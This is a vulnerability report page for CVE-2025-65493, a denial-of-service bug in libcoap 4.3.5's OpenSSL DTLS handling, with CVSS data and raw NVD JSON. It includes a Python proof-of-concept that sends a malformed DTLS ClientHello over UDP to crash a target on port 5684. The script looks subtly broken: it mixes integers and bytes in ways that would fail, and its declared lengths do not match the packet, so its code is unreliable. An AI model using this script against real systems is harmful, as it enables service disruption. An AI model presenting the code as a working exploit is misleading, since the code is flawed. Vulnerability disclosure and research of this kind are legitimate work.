Security Vulnerability Report
中文
CVE-2025-65493 CVSS 7.5 HIGH

CVE-2025-65493

Published: 2025-11-24 14:15:47
Last Modified: 2025-12-01 17:38:09

Description

NULL pointer dereference in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS/TLS connection that triggers BIO_get_data() to return NULL.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:* - VULNERABLE
libcoap < 4.3.5
libcoap 4.3.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # PoC for CVE-2025-65493: libcoap NULL pointer dereference # Target: libcoap 4.3.5 DTLS/TLS handler def create_malformed_dtls_handshake(): """ Create a malformed DTLS handshake packet to trigger NULL pointer dereference in BIO_get_data() function in src/coap_openssl.c """ # DTLS Record Layer Header content_type = 0x16 # Handshake version = 0xfefd # DTLS 1.2 epoch = 0x0000 sequence_number = b'\x00\x00\x00\x00\x00\x01' length = 0x0040 # 64 bytes # Malformed handshake header handshake_type = 0x01 # ClientHello handshake_length = struct.pack('>I', 0x003C)[1:] # 60 bytes client_random = b'\x00' * 32 # Zeroed random # Session ID length = 0 (triggers edge case) session_id = b'\x00' # Cookie length = 0 (potentially problematic) cookie = b'\x00' # Cipher suites with malformed data cipher_suites = b'\x00\x02\x00\x00' # Compression methods compression = b'\x01\x00' # Extensions with empty/zero-length values extensions = b'\x00\x00\x00\x00' record = bytes([content_type]) + version + epoch + sequence_number record += struct.pack('>H', length) handshake = handshake_type + handshake_length + client_random + session_id handshake += cookie + cipher_suites + compression + extensions return record + handshake def exploit(target_ip, target_port): """ Send malformed DTLS packet to trigger NULL pointer dereference """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_dtls_handshake() print(f"[*] Sending malformed DTLS ClientHello to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) sock.close() print("[+] Packet sent, target may crash if vulnerable") if __name__ == "__main__": TARGET_IP = "192.168.1.100" TARGET_PORT = 5684 # Default CoAPS port exploit(TARGET_IP, TARGET_PORT)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65493", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:46.743", "lastModified": "2025-12-01T17:38:08.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS/TLS connection that triggers BIO_get_data() to return NULL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:*", "matchCriteriaId": "78120234-9F76-4010-AD0E-FEA4DE8A76F9"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1743", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}